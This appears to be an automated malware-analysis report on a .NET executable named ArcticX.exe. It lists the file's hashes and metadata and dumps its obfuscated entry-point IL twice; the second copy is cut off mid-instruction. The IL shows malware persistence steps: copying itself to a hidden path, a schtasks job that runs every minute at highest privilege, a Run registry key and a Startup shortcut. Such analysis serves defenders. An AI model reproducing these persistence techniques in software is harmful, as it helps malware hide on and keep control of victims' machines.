97d1f1d26c8d04ca5a1f325704d62542
PE Executable | MD5: 97d1f1d26c8d04ca5a1f325704d62542 | Size: 66.05 KB | application/x-dosexec
Symbol Obfuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 97d1f1d26c8d04ca5a1f325704d62542
|
| Sha1 | f089781f0509453cae3a653a1cb6d5fe67dfcab4
|
| Sha256 | 3e394c2d61ecda688a5b0e963711908ae9243f6371d0928f85e8c6c433f18d6a
|
| Sha384 | 60289a72f03c13940fd175a43e7d9241948c7c2349c28686adfee2d0ff36a84894e1632c0ffc70f76c4b9f502300755a
|
| Sha512 | c0628d8dc959d3626e57818ed0ef45d6501c742012b8e6c1bc4694bd91220096bc56534e3ef44bd1c6c2a51f6cf5dd301696b220983883cbdc948a3d451e5543
|
| SSDeep | 768:/1SuwFtVGZENAGexGLOKgS8OT1f16znJAbZckqFVA66tvOZKd5uhShddZKm:/3wFzuVGkGOFr+bNqo6MOZ5khJV
|
| TLSH | 62536B187BE1462AE4FFAFB059F23123CB35F6539902D61F24D8029E5723AC9CD816E5
|
PeID
|
Name0 | Value |
|---|---|
| Module Name | ArcticX.exe |
| Full Name | ArcticX.exe |
| EntryPoint | System.Void Stub.GwpHFuLdRWWElwqID::ddefZ3mX6BCPRobmK() |
| Scope Name | ArcticX.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | ArcticX |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 356 |
| Main Method | System.Void Stub.GwpHFuLdRWWElwqID::ddefZ3mX6BCPRobmK() |
| Main IL Instruction Count | 318 |
| Main IL | ldsfld System.Int32 Wou6XJeSNG5NUNJCD::XF13YWDDv0stQuvPc ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Wou6XJeSNG5NUNJCD::LwpX7akodAMDBdsWU call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Wou6XJeSNG5NUNJCD::LwpX7akodAMDBdsWU ldsfld System.String Wou6XJeSNG5NUNJCD::bbtgpzNPkRQ7c7kWL call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Wou6XJeSNG5NUNJCD::bbtgpzNPkRQ7c7kWL ldsfld System.String Wou6XJeSNG5NUNJCD::GpL9nWbivlURSTORi call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Wou6XJeSNG5NUNJCD::GpL9nWbivlURSTORi ldsfld System.String Wou6XJeSNG5NUNJCD::OICBgdqBmFYXeiGGT call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Wou6XJeSNG5NUNJCD::OICBgdqBmFYXeiGGT ldsfld System.String Wou6XJeSNG5NUNJCD::Dqi0uqZX4utfSYvqb call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Wou6XJeSNG5NUNJCD::Dqi0uqZX4utfSYvqb ldsfld System.String Wou6XJeSNG5NUNJCD::RahpS5mPvr7FFJWJj call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Wou6XJeSNG5NUNJCD::RahpS5mPvr7FFJWJj ldsfld System.String Wou6XJeSNG5NUNJCD::cO91OjqVFOd0e2qGb call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Wou6XJeSNG5NUNJCD::cO91OjqVFOd0e2qGb ldsfld System.String Wou6XJeSNG5NUNJCD::0iI5zwKKqIeLBGCZu call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Wou6XJeSNG5NUNJCD::0iI5zwKKqIeLBGCZu leave.s IL_00CB: call System.Boolean Stub.FZy4S0c0ELgvLROsk::x2LI7QFQ57mSbD0vt() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.FZy4S0c0ELgvLROsk::x2LI7QFQ57mSbD0vt() call System.Boolean Stub.FZy4S0c0ELgvLROsk::x2LI7QFQ57mSbD0vt() brtrue.s IL_00D8: call System.Void Stub.GwpHFuLdRWWElwqID::ViInxX1Y1JxaC6HVK() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.GwpHFuLdRWWElwqID::ViInxX1Y1JxaC6HVK() leave.s IL_00EE: call System.Void Stub.GwpHFuLdRWWElwqID::kxyc83Ob5CuDfy80a() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: call System.Void Stub.GwpHFuLdRWWElwqID::kxyc83Ob5CuDfy80a() call System.Void Stub.GwpHFuLdRWWElwqID::kxyc83Ob5CuDfy80a() ldsfld System.String Wou6XJeSNG5NUNJCD::cO91OjqVFOd0e2qGb ldstr \ ldsfld System.String Wou6XJeSNG5NUNJCD::0iI5zwKKqIeLBGCZu call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0135: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_014C: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.FZy4S0c0ELgvLROsk::hd76phzFA5hiSjNWx call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0177: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0177: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.BXLDRGQSOm1FD8qNy::fh0Y6VkD3ElWCNWD1() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01DD: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Wou6XJeSNG5NUNJCD::0iI5zwKKqIeLBGCZu call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0221: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Wou6XJeSNG5NUNJCD::0iI5zwKKqIeLBGCZu call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0242: call My.XUSDwLafGhgh5gCEV My.bYGaVUtQIaKXz6fOD::IBDACOONv0UCzvmwI() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0242: call My.XUSDwLafGhgh5gCEV My.bYGaVUtQIaKXz6fOD::IBDACOONv0UCzvmwI() call My.XUSDwLafGhgh5gCEV My.bYGaVUtQIaKXz6fOD::IBDACOONv0UCzvmwI() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String Wou6XJeSNG5NUNJCD::0iI5zwKKqIeLBGCZu call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_027D: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_027D: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Wou6XJeSNG5NUNJCD::0iI5zwKKqIeLBGCZu call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0302: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.FZy4S0c0ELgvLROsk::MWczgH3nYeF56OhSV leave.s IL_0381: call System.Void Stub.FZy4S0c0ELgvLROsk::fvxroD8ndwSQHhQRD() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0381: call System.Void Stub.FZy4S0c0ELgvLROsk::fvxroD8ndwSQHhQRD() call System.Void Stub.FZy4S0c0ELgvLROsk::fvxroD8ndwSQHhQRD() ldnull <null> ldftn System.Void Stub.GwpHFuLdRWWElwqID::5yxrjbp0Xj0gW02YB() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.BXLDRGQSOm1FD8qNy::fh0Y6VkD3ElWCNWD1() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03AD: ldnull call System.Void Stub.Hy4Y4LoWMj1l9gF0I::KI18bVMf1uE0S6s1G() ldnull <null> ldftn System.Void Stub.GwpHFuLdRWWElwqID::mKIHQvg7dtZHGSPD4() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.GwpHFuLdRWWElwqID::NUIbu7KDLgbfNUCNJ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null> |
| Module Name | ArcticX.exe |
| Full Name | ArcticX.exe |
| EntryPoint | System.Void Stub.GwpHFuLdRWWElwqID::ddefZ3mX6BCPRobmK() |
| Scope Name | ArcticX.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | ArcticX |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 356 |
| Main Method | System.Void Stub.GwpHFuLdRWWElwqID::ddefZ3mX6BCPRobmK() |
| Main IL Instruction Count | 318 |
| Main IL | ldsfld System.Int32 Wou6XJeSNG5NUNJCD::XF13YWDDv0stQuvPc ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Wou6XJeSNG5NUNJCD::LwpX7akodAMDBdsWU call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Wou6XJeSNG5NUNJCD::LwpX7akodAMDBdsWU ldsfld System.String Wou6XJeSNG5NUNJCD::bbtgpzNPkRQ7c7kWL call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Wou6XJeSNG5NUNJCD::bbtgpzNPkRQ7c7kWL ldsfld System.String Wou6XJeSNG5NUNJCD::GpL9nWbivlURSTORi call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Wou6XJeSNG5NUNJCD::GpL9nWbivlURSTORi ldsfld System.String Wou6XJeSNG5NUNJCD::OICBgdqBmFYXeiGGT call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Wou6XJeSNG5NUNJCD::OICBgdqBmFYXeiGGT ldsfld System.String Wou6XJeSNG5NUNJCD::Dqi0uqZX4utfSYvqb call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Wou6XJeSNG5NUNJCD::Dqi0uqZX4utfSYvqb ldsfld System.String Wou6XJeSNG5NUNJCD::RahpS5mPvr7FFJWJj call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Wou6XJeSNG5NUNJCD::RahpS5mPvr7FFJWJj ldsfld System.String Wou6XJeSNG5NUNJCD::cO91OjqVFOd0e2qGb call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Wou6XJeSNG5NUNJCD::cO91OjqVFOd0e2qGb ldsfld System.String Wou6XJeSNG5NUNJCD::0iI5zwKKqIeLBGCZu call System.Object Stub.3Ny0Qz2IAcn2Bh591::dQLJ629iMPqOywozG(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Wou6XJeSNG5NUNJCD::0iI5zwKKqIeLBGCZu leave.s IL_00CB: call System.Boolean Stub.FZy4S0c0ELgvLROsk::x2LI7QFQ57mSbD0vt() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.FZy4S0c0ELgvLROsk::x2LI7QFQ57mSbD0vt() call System.Boolean Stub.FZy4S0c0ELgvLROsk::x2LI7QFQ57mSbD0vt() brtrue.s IL_00D8: call System.Void Stub.GwpHFuLdRWWElwqID::ViInxX1Y1JxaC6HVK() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.GwpHFuLdRWWElwqID::ViInxX1Y1JxaC6HVK() leave.s IL_00EE: call System.Void Stub.GwpHFuLdRWWElwqID::kxyc83Ob5CuDfy80a() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: call System.Void Stub.GwpHFuLdRWWElwqID::kxyc83Ob5CuDfy80a() call System.Void Stub.GwpHFuLdRWWElwqID::kxyc83Ob5CuDfy80a() ldsfld System.String Wou6XJeSNG5NUNJCD::cO91OjqVFOd0e2qGb ldstr \ ldsfld System.String Wou6XJeSNG5NUNJCD::0iI5zwKKqIeLBGCZu call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0135: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_014C: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.FZy4S0c0ELgvLROsk::hd76phzFA5hiSjNWx call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0177: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0177: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.BXLDRGQSOm1FD8qNy::fh0Y6VkD3ElWCNWD1() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01DD: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Wou6XJeSNG5NUNJCD::0iI5zwKKqIeLBGCZu call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0221: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Wou6XJeSNG5NUNJCD::0iI5zwKKqIeLBGCZu call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0242: call My.XUSDwLafGhgh5gCEV My.bYGaVUtQIaKXz6fOD::IBDACOONv0UCzvmwI() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0242: call My.XUSDwLafGhgh5gCEV My.bYGaVUtQIaKXz6fOD::IBDACOONv0UCzvmwI() call My.XUSDwLafGhgh5gCEV My.bYGaVUtQIaKXz6fOD::IBDACOONv0UCzvmwI() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String Wou6XJeSNG5NUNJCD::0iI5zwKKqIeLBGCZu call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_027D: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_027D: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Wou6XJeSNG5NUNJCD::0iI5zwKKqIeLBGCZu call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0302: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.FZy4S0c0ELgvLROsk::MWczgH3nYeF56OhSV leave.s IL_0381: call System.Void Stub.FZy4S0c0ELgvLROsk::fvxroD8ndwSQHhQRD() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void 